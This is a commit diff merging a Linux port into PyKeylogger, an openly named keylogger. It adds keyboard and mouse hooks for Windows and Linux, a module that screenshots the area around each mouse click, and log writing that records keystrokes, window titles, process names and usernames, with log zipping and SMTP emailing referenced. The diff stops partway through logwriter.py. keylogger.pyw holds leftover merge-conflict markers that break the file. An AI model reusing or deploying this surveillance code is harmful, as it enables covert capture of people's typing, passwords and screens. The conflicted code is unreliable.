merge the linuxport branch into trunk

nanotube [2008-03-19 22:16]
merge the linuxport branch into trunk
Filename
CHANGELOG.TXT
MANIFEST
imagecapture.py
keylogger.pyw
logwriter.py
make_all_dist.py
myutils.py
pykeylogger.ini
pykeylogger.val
pyxhook.py
setup.py
supportscreen.py
tooltip.py
version.py
diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT
index 2d1ccf0..50b9d68 100644
--- a/CHANGELOG.TXT
+++ b/CHANGELOG.TXT
@@ -1,6 +1,20 @@
 PyKeylogger Changelog
 ---------------------

+-----
+Version 1.0.1 (2008-03-19)
+
+*) Bugfix: now we properly detect the location of the program, so that relative log directories and ini/val file locations work properly. Before we relied on current directory being right, which is not always true.
+*) Do some pre-processing on settings read from ini file, to make sure directories and filenames are 'legal'.
+*) Prettify the about dialog
+
+-----
+Version 1.0.0 (2008-03-11)
+
+*) Big news: thanks to a generous contributor (Tim Alexander), PyKeylogger now works on linux, with complete feature parity between the windows and linux versions.
+*) New feature: PyKeylogger can now capture screenshots cropped around mouse clicks.
+*) A few minor improvements/bugfixes and some code refactoring happened in the process of making the code cross-platform
+
 -----
 Version 0.9.4 (2008-03-04)

diff --git a/MANIFEST b/MANIFEST
deleted file mode 100644
index 57a877c..0000000
--- a/MANIFEST
+++ /dev/null
@@ -1,18 +0,0 @@
-CHANGELOG.TXT
-LICENSE.txt
-MANIFEST.in
-README.txt
-TODO.txt
-controlpanel.py
-keylogger.pyw
-logwriter.py
-make_all_dist.py
-mytimer.py
-mytkSimpleDialog.py
-myutils.py
-pykeylogger.ini
-pykeylogger.val
-setup.py
-supportscreen.py
-tooltip.py
-version.py
diff --git a/imagecapture.py b/imagecapture.py
new file mode 100644
index 0000000..d7e0db2
--- /dev/null
+++ b/imagecapture.py
@@ -0,0 +1,301 @@
+##############################################################################
+##
+## PyKeylogger: Simple Python Keylogger for Windows
+## Copyright (C) 2008  nanotube@users.sf.net
+##
+## http://pykeylogger.sourceforge.net/
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the terms of the GNU General Public License
+## as published by the Free Software Foundation; either version 3
+## of the License, or (at your option) any later version.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program.  If not, see <http://www.gnu.org/licenses/>.
+##
+##############################################################################
+
+import time
+import threading
+import Image
+import Queue
+import os
+import os.path
+import traceback
+import re
+import logging
+import sys
+import copy
+
+if os.name == 'nt':
+    import win32api, win32con, win32process
+    import ImageGrab
+elif os.name == 'posix':
+    from Xlib import X, XK, display, error
+    from Xlib.ext import record
+    from Xlib.protocol import rq
+
+class ImageWriter(threading.Thread):
+    def __init__(self, settings, cmdoptions, queue):
+
+        threading.Thread.__init__(self)
+        self.finished = threading.Event()
+
+        self.cmdoptions = cmdoptions
+        self.settings = settings
+        self.q = queue
+
+        self.createLogger()
+
+        self.imagedimensions = Point(self.settings['Image Capture']['Capture Clicks Width'], self.settings['Image Capture']['Capture Clicks Height'])
+
+        self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")    #regexp filter for the non-allowed characters in windows filenames.
+
+        # Hook to our display.
+        if os.name == 'posix':
+            self.local_dpy = display.Display()
+
+        #Make sure the image directory is there. If not, create it.
+        self.imagedir = os.path.join(self.settings['General']['Log Directory'], "images")
+        #~ originalDir = os.getcwd()
+        #~ os.chdir(self.settings['General']['Log Directory'])
+        try:
+            os.makedirs(self.imagedir, 0777)
+        except OSError, detail:
+            if(detail.errno==17):
+                pass
+            else:
+                self.logger.error("error creating click image directory", sys.exc_info())
+        except:
+            self.logger.error("error creating click image directory", sys.exc_info())
+
+        #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3):
+            #self.captureclick()
+
+        pass
+
+    def createLogger(self):
+
+        self.logger = logging.getLogger('imagewriter')
+        self.logger.setLevel(logging.DEBUG)
+
+        # create the "debug" handler - output messages to the console, to stderr, if debug option is set
+        if self.cmdoptions.debug:
+            loglevel = logging.DEBUG
+        else:
+            loglevel = logging.WARN
+
+        consolehandler = logging.StreamHandler()
+        consolehandler.setLevel(loglevel)
+        formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
+        consolehandler.setFormatter(formatter)
+        self.logger.addHandler(consolehandler)
+
+    def PrintDebug(self, stuff, exc_info=False):
+        '''Write stuff to console.
+        '''
+        self.logger.debug(stuff, exc_info=exc_info)
+
+    def run(self):
+        while not self.finished.isSet():
+            try:
+                event = self.q.get(timeout=0.05)
+                if event.MessageName.startswith("mouse left") or event.MessageName.startswith("mouse middle") or event.MessageName.startswith("mouse right"):
+                    self.capture_image(event)
+                    self.PrintDebug(self.print_event(event))
+            except Queue.Empty:
+                pass
+
+    def print_event(self, event):
+        '''prints event. need this because pyhook's event don't have a default __str__ method,
+        so we check for os type, and make it work on windows.
+        '''
+        if os.name == 'posix':
+            return str(event)
+        if os.name == 'nt':
+            return "Window: " + str(event.Window) + "\nWindow Handle: " + str(event.WindowName) + "\nWindow's Process Name: " + self.getProcessName(event) + "\nPosition: " + str(event.Position) + "\nMessageName: " + str(event.MessageName) + "\n"
+
+    def cancel(self):
+        self.finished.set()
+
+    #def capturewindow(self, Window = None, start_x = 0, start_y = 0, width = None, height = None, saveto = "image.png"):
+    def capture_image(self, event):
+
+        screensize = self.getScreenSize()
+
+        # The cropbox will take care of making sure our image is within
+        # screen boundaries.
+        cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize)
+        cropbox.reposition(Point(event.Position[0], event.Position[1]))
+
+        self.PrintDebug(cropbox)
+
+        savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png")
+
+        if os.name == 'posix':
+
+            AllPlanes = ~0
+
+            try: #cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename
+                raw = self.rootwin.get_image(cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, X.ZPixmap, AllPlanes)
+                Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename)
+                return 0
+            except error.BadDrawable:
+                print "bad drawable when attempting to get an image!  Closed the window?"
+            except error.BadMatch:
+                print "bad match when attempting to get an image! probably specified an area outside the window (too big?)"
+            except error.BadValue:
+                print "getimage: bad value error - tell me about this one, I've not managed to make it happen yet"
+            except:
+                print traceback.print_exc()
+
+        if os.name == 'nt':
+            img = ImageGrab.grab((cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y))
+            img.save(savefilename)
+
+
+    def getScreenSize(self):
+        if os.name == 'posix':
+            self.rootwin = self.local_dpy.get_input_focus().focus.query_tree().root
+            if self.rootwin == 0:
+                self.rootwin = self.local_dpy.get_input_focus()
+            return Point(self.rootwin.get_geometry().width, self.rootwin.get_geometry().height)
+        if os.name == 'nt':
+            return Point(win32api.GetSystemMetrics(0), win32api.GetSystemMetrics (1))
+
+    def getProcessName(self, event):
+        '''Acquire the process name from the event window handle for use in the image filename.
+        On Linux, process name is a direct attribute of the event.
+        '''
+        if os.name == 'nt':
+            hwnd = event.Window
+            try:
+                threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+
+                # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+                mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+                procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+                return procname
+            except:
+                #self.logger.error("Failed to get process info from hwnd.", exc_info=sys.exc_info())
+                # this happens frequently enough - when the last event caused the closure of the window or program
+                # so we just return a nice string and don't worry about it.
+                return "noprocname"
+        elif os.name == 'posix':
+            return str(event.WindowProcName)
+
+    #~ def captureclick(self, event):
+        #~ screensize = self.getScreenSize()
+
+        #~ # The cropbox will take care of making sure our image is within
+        #~ # screen boundaries.
+        #~ cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize)
+        #~ cropbox.reposition(Point(event.Position[0], event.Position[1]))
+
+        #~ self.savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y_%m_%d%_%H_%M_%S') + "_" + str(event.WindowProcName) + ".png")
+
+        #~ try:
+            #~ self.capturewindow(self.rootwin, cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename)
+        #~ except:
+            #~ print "Encountered an error capturing the image for the window. Continuing anyway."
+
+class Point:
+    def __init__(self, x=0, y=0):
+        self.x = x
+        self.y = y
+    def move(self, xmove=0, ymove=0):
+        self.x = self.x + xmove
+        self.y = self.y + ymove
+    def __str__(self):
+        return "[" + str(self.x) + "," + str(self.y) + "]"
+    def __add__(self, other):
+        return Point(self.x+other.x, self.y+other.y)
+    def __sub__(self, other):
+        return Point(self.x - other.x, self.y - other.y)
+
+
+class CropBox:
+    def __init__(self, topleft=Point(0,0), bottomright=Point(100,100), min=Point(0,0), max=Point(1600,1200)):
+
+        self.topleft = copy.deepcopy(topleft)
+        self.bottomright = copy.deepcopy(bottomright)
+        self.min = copy.deepcopy(min)
+        self.max = copy.deepcopy(max)
+        self.size = self.bottomright - self.topleft
+        self.maxsize = self.max - self.min
+        # make sure our box is not bigger than the whole image
+        if (self.size.x > self.maxsize.x):
+            self.bottomright.x = self.bottomright.x - self.size.x + self.maxsize.x
+        if (self.size.y > self.maxsize.y):
+            self.bottomright.y = self.bottomright.y - self.size.y + self.maxsize.y
+        self.center = Point(self.size.x/2 + self.topleft.x, self.size.y/2 + self.topleft.y)
+
+    def move(self, xmove=0, ymove=0):
+        # make sure we can't move beyond image boundaries
+        if (self.topleft.x + xmove < self.min.x):
+            xmove = self.topleft.x - self.min.x
+        if (self.topleft.y + ymove < self.min.y):
+            ymove = self.topleft.y - self.min.y
+        if (self.bottomright.x + xmove > self.max.x):
+            xmove = self.max.x - self.bottomright.x
+        if (self.bottomright.y + ymove > self.max.y):
+            ymove = self.max.y - self.bottomright.y
+        self.topleft.move(xmove, ymove)
+        self.bottomright.move(xmove, ymove)
+        self.center = Point(self.size.x/2 + self.topleft.x, self.size.y/2 + self.topleft.y)
+        #print self.center
+
+    def reposition(self, newcenter = Point(500,500)):
+        motion = newcenter - self.center
+        self.move(motion.x, motion.y)
+
+    def __str__(self):
+        return str(self.topleft) + str(self.bottomright)
+
+#~ def cropimage(imagesize=Point(1600,1200), cropboxsize = Point(100,100), centerpoint=Point(1500, 1500)):
+    #~ cropbox = CropBox(Point(0,0), cropboxsize, min=Point(0,0), max=imagesize)
+    #~ cropbox.move(centerpoint.x - cropbox.center.x, centerpoint.y - cropbox.center.y)
+
+    #~ print cropbox
+    #~ print cropbox.center
+
+# im = ImageGrab.grab((x0, y0, x1, y1))
+
+
+if __name__ == '__main__':
+
+    class CmdOptions:
+        def __init__(self, debug):
+            self.debug = debug
+
+    cmdoptions = CmdOptions(True)
+
+    q = Queue.Queue()
+
+    class mouseevent:
+        pass
+    event = mouseevent()
+    event.Window = 655808
+    event.WindowName = "WindowName"
+    event.WindowProcName = "WindowProcName"
+    event.Position = (400,400)
+    event.MessageName = "mouse left up"
+
+    settings={}
+    settings['E-mail'] = {'SMTP Send Email':False}
+    settings['Log Maintenance'] = {'Delete Old Logs':False,'Flush Interval':1000,'Log Rotation Interval':4,'Delete Old Logs':False}
+    settings['Zip'] = {'Zip Enable':False}
+    settings['General'] = {'Log Directory':'logs','System Log':'None','Log Key Count':True}
+    settings['Image Capture'] = {'Capture Clicks Width':300,'Capture Clicks Height':300}
+
+    iw = ImageWriter(cmdoptions, settings, q)
+    iw.start()
+    q.put(event)
+    time.sleep(5)
+    iw.cancel()
\ No newline at end of file
diff --git a/keylogger.pyw b/keylogger.pyw
index 4094755..1f96377 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -20,15 +20,25 @@
 ##
 ##############################################################################

-import pyHook
+import os
+import os.path
 import time
-import pythoncom
 import sys
-import os
-import imp # don't need this anymore?
+if os.name == 'posix':
+    import pyxhook as hooklib
+elif os.name == 'nt':
+    import pyHook as hooklib
+    import pythoncom
+else:
+    print "OS is not recognised as windows or linux."
+    exit()
+
+#import imp # don't need this anymore?
+import re
 from optparse import OptionParser
 import traceback
 from logwriter import LogWriter
+from imagecapture import ImageWriter
 import version
 #import ConfigParser
 from configobj import ConfigObj
@@ -38,6 +48,7 @@ from supportscreen import SupportScreen, ExpirationScreen
 import Tkinter, tkMessageBox
 import myutils
 import Queue
+import threading

 class KeyLogger:
     ''' Captures all keystrokes, puts events in Queue for later processing
@@ -45,85 +56,116 @@ class KeyLogger:
     '''
     def __init__(self):

-        self.ParseOptions()
-        self.ParseConfigFile()
+        self.ParseOptions() # stored in self.cmdoptions
+        self.ParseConfigFile() # stored in self.settings
         self.ParseControlKey()
         self.NagscreenLogic()
-        self.q = Queue.Queue(0)
-        self.hm = pyHook.HookManager()
-        self.hm.KeyDown = self.OnKeyDownEvent
-        self.hm.KeyUp = self.OnKeyUpEvent
+        self.process_settings()
+        self.q_logwriter = Queue.Queue(0)
+        self.q_imagewriter = Queue.Queue(0)
+        self.lw = LogWriter(self.settings, self.cmdoptions, self.q_logwriter)
+        self.iw = ImageWriter(self.settings, self.cmdoptions, self.q_imagewriter)
+        if os.name == 'posix':
+            self.hashchecker = ControlKeyMonitor(self.cmdoptions, self.lw, self, self.ControlKeyHash)
+
+        self.hm = hooklib.HookManager()

         if self.settings['General']['Hook Keyboard'] == True:
             self.hm.HookKeyboard()
-        #if self.options.hookMouse == True:
-        #    self.hm.HookMouse()
+            self.hm.KeyDown = self.OnKeyDownEvent
+            self.hm.KeyUp = self.OnKeyUpEvent
+
+        if self.settings['Image Capture']['Capture Clicks'] == True:
+            self.hm.HookMouse()
+            self.hm.MouseAllButtonsDown = self.OnMouseDownEvent

-        self.lw = LogWriter(self.settings, self.cmdoptions, self.q)
+        #if os.name == 'nt':
         self.panel = False
+
+        #if self.options.hookMouse == True:
+        #   self.hm.HookMouse()

     def start(self):
         self.lw.start()
-        pythoncom.PumpMessages()
-
+        self.iw.start()
+        if os.name == 'nt':
+            pythoncom.PumpMessages()
+        if os.name == 'posix':
+            self.hashchecker.start()
+            self.hm.start()
+
+    def process_settings(self):
+        '''Process some settings values to correct for user input errors,
+        and to detect proper full path of the log directory.
+
+        We can change things in the settings configobj with impunity here,
+        since the control panel process get a fresh read of settings from file
+        before doing anything.
+        '''
+
+        if os.path.isabs(self.settings['General']['Log Directory']):
+            self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
+        else:
+            self.settings['General']['Log Directory'] = os.path.join(myutils.get_main_dir(), os.path.normpath(self.settings['General']['Log Directory']))
+
+        self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")    #regexp filter for the non-allowed characters in windows filenames.
+        self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+        self.settings['General']['System Log'] = self.filter.sub(r'__',self.settings['General']['System Log'])
+
+        # todo: also want to run imagesdirectoryname (tbc) through self.filter
+
     def ParseControlKey(self):
-        #~ self.controlKeyList = self.settings['General']['Control Key'].split(';')
-        #~ self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
-        #~ self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
         self.ControlKeyHash = ControlKeyHash(self.settings['General']['Control Key'])

-    #~ def MaintainControlKeyHash(self, event, updown):
-        #~ if updown == 'Down' and event.Key in self.controlKeyHash.keys():
-            #~ self.controlKeyHash[event.Key] = True
-        #~ if updown == 'Up' and event.Key in self.controlKeyHash.keys():
-            #~ self.controlKeyHash[event.Key] = False
-
-    #~ def CheckForControlEvent(self):
-        #~ if self.cmdoptions.debug:
-            #~ self.lw.PrintDebug("control key status: " + str(self.controlKeyHash))
-        #~ if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
-            #~ return True
-        #~ else:
-            #~ return False
-
     def OnKeyDownEvent(self, event):
         '''This function is the stuff that's supposed to happen when a key is pressed.
-        Puts the event in queue, and passes it on.
-        Starts control panel if proper key is pressed.
+        Puts the event in queue,
+        Updates the control key combo status,
+        And passes the event on to the system.
         '''
-        #self.lw.WriteToLogFile(event)
-        self.q.put(event)

-        #self.MaintainControlKeyHash(event, 'Down')
+        self.q_logwriter.put(event)
+
         self.ControlKeyHash.update(event)

-        #~ if self.CheckForControlEvent():
         if self.cmdoptions.debug:
                 self.lw.PrintDebug("control key status: " + str(self.ControlKeyHash))
-        if self.ControlKeyHash.check():
-            if not self.panel:
-                self.lw.PrintDebug("starting panel")
-                self.panel = True
-                self.ControlKeyHash.reset()
-                PyKeyloggerControlPanel(self.cmdoptions, self)
-
-        #~ if event.Key == self.settings['General']['Control Key']:
-            #~ if not self.panel:
-                #~ self.lw.PrintDebug("starting panel\n")
-                #~ self.panel = True
-                #~ PyKeyloggerControlPanel(self.cmdoptions, self)
-
+
+        # have to open the panel from main thread on windows, otherwise it hangs.
+        # possibly due to some interaction with the python message pump and tkinter?
+        #
+        # on linux, on the other hand, doing it from a separate worker thread is a must
+        # since the pyxhook module blocks until panel is closed, so we do it with the
+        # hashchecker thread instead.
+        if os.name == 'nt':
+            if self.ControlKeyHash.check():
+                if not self.panel:
+                    self.lw.PrintDebug("starting panel")
+                    self.panel = True
+                    self.ControlKeyHash.reset()
+                    PyKeyloggerControlPanel(self.cmdoptions, self)
+
         return True

     def OnKeyUpEvent(self,event):
-        #self.MaintainControlKeyHash(event, 'Up')
         self.ControlKeyHash.update(event)
         return True

+    def OnMouseDownEvent(self,event):
+        self.q_imagewriter.put(event)
+        return True
+
     def stop(self):
         '''Exit cleanly.
         '''
+
+        if os.name == 'posix':
+            self.hm.cancel()
+            self.hashchecker.cancel()
         self.lw.cancel()
+        self.iw.cancel()
+
+        #print threading.enumerate()
         sys.exit()

     def ParseOptions(self):
@@ -147,7 +189,12 @@ class KeyLogger:

         Give detailed error box and exit if validation on the config file fails.
         '''
-
+
+        if not os.path.isabs(self.cmdoptions.configfile):
+            self.cmdoptions.configfile = os.path.join(myutils.get_main_dir(), self.cmdoptions.configfile)
+        if not os.path.isabs(self.cmdoptions.configval):
+            self.cmdoptions.configval = os.path.join(myutils.get_main_dir(), self.cmdoptions.configval)
+
         self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)

         # validate the config file
@@ -200,17 +247,57 @@ class KeyLogger:
                 sys.exit()

 class ControlKeyHash:
+    '''Encapsulates the control key dictionary which is used to keep
+    track of whether the control key combo has been pressed.
+    '''
     def __init__(self, controlkeysetting):
+
+        #~ lin_win_dict = {'Alt_L':'Lmenu',
+                                    #~ 'Alt_R':'Rmenu',
+                                    #~ 'Control_L':'Lcontrol',
+                                    #~ 'Control_R':'Rcontrol',
+                                    #~ 'Shift_L':'Lshift',
+                                    #~ 'Shift_R':'Rshift',
+                                    #~ 'Super_L':'Lwin',
+                                    #~ 'Super_R':'Rwin'}
+
+        lin_win_dict = {'Alt_l':'Lmenu',
+                                    'Alt_r':'Rmenu',
+                                    'Control_l':'Lcontrol',
+                                    'Control_r':'Rcontrol',
+                                    'Shift_l':'Lshift',
+                                    'Shift_r':'Rshift',
+                                    'Super_l':'Lwin',
+                                    'Super_r':'Rwin',
+                                    'Page_up':'Prior'}
+
+        win_lin_dict = dict([(v,k) for (k,v) in lin_win_dict.iteritems()])
+
         self.controlKeyList = controlkeysetting.split(';')
+
+        # capitalize all items for greater tolerance of variant user inputs
+        self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
+        # remove duplicates
+        self.controlKeyList = list(set(self.controlKeyList))
+
+        # translate linux versions of key names to windows, or vice versa,
+        # depending on what platform we are on.
         if os.name == 'nt':
-            self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
+            for item in self.controlKeyList:
+                if item in lin_win_dict.keys():
+                    self.controlKeyList[self.controlKeyList.index(item)] = lin_win_dict[item]
+        elif os.name == 'posix':
+            for item in self.controlKeyList:
+                if item in win_lin_dict.keys():
+                    self.controlKeyList[self.controlKeyList.index(item)] = lin_win_dict[item]
+
         self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))

     def update(self, event):
-        if event.MessageName == 'key down' and event.Key in self.controlKeyHash.keys():
-            self.controlKeyHash[event.Key] = True
-        if event.MessageName == 'key up' and event.Key in self.controlKeyHash.keys():
-            self.controlKeyHash[event.Key] = False
+        if event.MessageName == 'key down' and event.Key.capitalize() in self.controlKeyHash.keys():
+            self.controlKeyHash[event.Key.capitalize()] = True
+        if event.MessageName == 'key up' and event.Key.capitalize() in self.controlKeyHash.keys():
+            self.controlKeyHash[event.Key.capitalize()] = False

     def reset(self):
         for key in self.controlKeyHash.keys():
@@ -225,10 +312,48 @@ class ControlKeyHash:
     def __str__(self):
         return str(self.controlKeyHash)

+class ControlKeyMonitor(threading.Thread):
+    '''Polls the control key hash status periodically, to see if
+    the control key combo has been pressed. Brings up control panel if it has.
+    '''
+    def __init__(self, cmdoptions, logwriter, mainapp, controlkeyhash):
+        threading.Thread.__init__(self)
+        self.finished = threading.Event()
+
+        # panel flag - true if panel is up, false if not
+        # this way we don't start a second panel instance when it's already up
+        #self.panel=False
+
+        self.lw = logwriter
+        self.mainapp = mainapp
+        self.cmdoptions = cmdoptions
+        self.ControlKeyHash = controlkeyhash
+
+    def run(self):
+        while not self.finished.isSet():
+            if self.ControlKeyHash.check():
+                if not self.mainapp.panel:
+                    self.lw.PrintDebug("starting panel")
+                    self.mainapp.panel = True
+                    self.ControlKeyHash.reset()
+                    PyKeyloggerControlPanel(self.cmdoptions, self.mainapp)
+            time.sleep(0.05)
+
+    def cancel(self):
+        self.finished.set()
+
+
 if __name__ == '__main__':

     kl = KeyLogger()
     kl.start()

     #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
-
\ No newline at end of file
+    =======
+
+    kl = KeyLogger()
+    kl.start()
+
+    #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
+
+>>>>>>> 1.29.2.14
diff --git a/logwriter.py b/logwriter.py
index d78265e..a75e41d 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -20,11 +20,18 @@
 ##
 ##############################################################################

-import win32api, win32con, win32process
-import os, os.path
+import os
+import os.path
+import sys
+if os.name == 'posix':
+    pass
+elif os.name == 'nt':
+    import win32api, win32con, win32process
+else:
+    print "OS is not recognised as windows or linux"
+    sys.exit()
 import time
 import re
-import sys
 import Queue
 import traceback
 import threading
@@ -38,7 +45,7 @@ import mytimer

 # the following are needed for zipping the logfiles
 import zipfile
-
+
 # the following are needed for automatic emailing
 import smtplib

@@ -76,7 +83,7 @@ class LogWriter(threading.Thread):
         self.settings = settings
         self.cmdoptions = cmdoptions

-        self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")      #regexp filter for the non-allowed characters in windows filenames.
+        self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")    #regexp filter for the non-allowed characters in windows filenames.

         self.createLogger()
         #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
@@ -99,13 +106,8 @@ class LogWriter(threading.Thread):
         # initialize the automatic log flushing timer
         self.flushtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer"])
         self.flushtimer.start()
-
-        #~ # start the event queue processing
-        #~ self.queuetimer = mytimer.MyTimer(1, 1, self.start)
-        #~ self.queuetimer.start()
-
+
         # initialize some automatic zip stuff
-        #self.settings['Zip']['ziparchivename'] = "log_[date].zip"
         if self.settings['Zip']['Zip Enable'] == True:
             self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
             self.ziptimer.start()
@@ -152,7 +154,7 @@ class LogWriter(threading.Thread):
             self.logger.error("error creating log directory", exc_info=sys.exc_info())

         if self.settings['General']['System Log'] != 'None':
-            systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['System Log']))
+            systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log'])
             systemloghandler = logging.FileHandler(systemlogpath)
             systemloghandler.setLevel(logging.DEBUG)
             systemloghandler.setFormatter(formatter)
@@ -170,7 +172,7 @@ class LogWriter(threading.Thread):
         ## if we are logging keystroke count, that field becomes the penultimate field.
         ##
         ## event data: ascii if normal key, escaped if "special" key, escaped if csv separator
-        ## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath
+        ## self.processName = self.GetProcessName(event.Window) #fullapppath
         ## hwnd = event.Window
         ## username = os.environ['USERNAME']
         ## date = time.strftime('%Y%m%d')
@@ -188,9 +190,9 @@ class LogWriter(threading.Thread):

         while not self.finished.isSet():
             try:
-                event = self.q.get()
-
-                loggable = self.TestForNoLog(event)     # see if the program is in the no-log list.
+                event = self.q.get(timeout=0.5) #need the timeout so that thread terminates properly when exiting
+                #print event
+                loggable = self.TestForNoLog(event)  # see if the program is in the no-log list.
                 if not loggable:
                     if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
                     continue
@@ -202,7 +204,7 @@ class LogWriter(threading.Thread):

                 eventlisttmp = [time.strftime('%Y%m%d'),
                                 time.strftime('%H%M'),
-                                self.GetProcessNameFromHwnd(event.Window),
+                                self.GetProcessName(event),
                                 str(event.Window),
                                 os.getenv('USERNAME'),
                                 str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]
@@ -221,13 +223,12 @@ class LogWriter(threading.Thread):
                     self.eventlist = eventlisttmp
             ## don't need this with infinite timeout?
             except Queue.Empty:
-                self.PrintDebug("\nempty queue...\n")
                 pass #let's keep iterating
             except:
                 self.PrintDebug("some exception was caught in the logwriter loop...\nhere it is:\n", sys.exc_info())
                 pass #let's keep iterating

-        self.finished.set()
+        self.finished.set() #shouldn't ever need this, but just in case...

     def ParseEventValue(self, event):
         '''Pass the event ascii value through the requisite filters.
@@ -252,7 +253,7 @@ class LogWriter(threading.Thread):
         # need to parse the returns, so as not to break up the delimited data lines
         if event.Ascii == 13:
             return(npchrstr)
-
+
         #we translate all the special keys, such as arrows, backspace, into text strings for logging
         #exclude shift keys, because they are already represented (as capital letters/symbols)
         if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
@@ -278,10 +279,10 @@ class LogWriter(threading.Thread):
         '''This function returns False if the process name associated with an event
         is listed in the noLog option, and True otherwise.'''

-        self.processName = self.GetProcessNameFromHwnd(event.Window)
+        self.processName = self.GetProcessName(event)
         if self.settings['General']['Applications Not Logged'] != 'None':
             for path in self.settings['General']['Applications Not Logged'].split(';'):
-                if os.stat(path) == os.stat(self.processName):    #we use os.stat instead of comparing strings due to multiple possible representations of a path
+                if os.stat(path) == os.stat(self.processName):  #we use os.stat instead of comparing strings due to multiple possible representations of a path
                     return False
         return True

@@ -314,7 +315,7 @@ class LogWriter(threading.Thread):
             for fname in files:
                 #if fname != self.settings['ziparchivename']:
                 if not self.CheckIfZipFile(fname):
-                    myzip.write(os.path.join(root,fname).split("\\",1)[1])
+                    myzip.write(os.path.join(root,fname).split(os.sep,1)[1])

         myzip.close()
         myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
@@ -322,16 +323,18 @@ class LogWriter(threading.Thread):
             self.PrintDebug("Warning: Zipfile did not pass check.\n")
         myzip.close()

+        # chdir back
+        os.chdir(originalDir)
+
+
         # write the name of the last completed zip file
         # so that we can check against this when emailing or ftping, to make sure
         # we do not try to transfer a zipfile which is in the process of being created
+
         ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
         ziplog.write(zipFileName)
         ziplog.close()

-        # chdir back
-        os.chdir(originalDir)
-
         #now we can delete all the logs that have not been modified since we made the zip.
         self.DeleteOldLogs(zipFileRawTime)

@@ -475,8 +478,8 @@ class LogWriter(threading.Thread):
         # do stuff only if file is closed. if it is open, we don't have to do anything at all, just return true.
         if self.log == None:
             # Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file
-            self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
-            self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File']))
+            #self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+            self.writeTarget = os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File'])
             try:
                 self.log = open(self.writeTarget, 'a')
                 self.PrintDebug("writing to: " + self.writeTarget)
@@ -519,7 +522,7 @@ class LogWriter(threading.Thread):
         Then, openlogfile will take care of opening a fresh logfile by itself.'''

         if self.log != None:
-            rotateTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File']))
+            rotateTarget = os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File'])
             self.PrintDebug("\nRenaming\n" + self.writeTarget + "\nto\n" + rotateTarget + "\n")
             self.log.close()
             self.log = None
@@ -547,7 +550,7 @@ class LogWriter(threading.Thread):
                 elif type(lastmodcutoff) == float:
                     testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff

-                if fname == "emaillog.txt" or fname == "ziplog.txt":
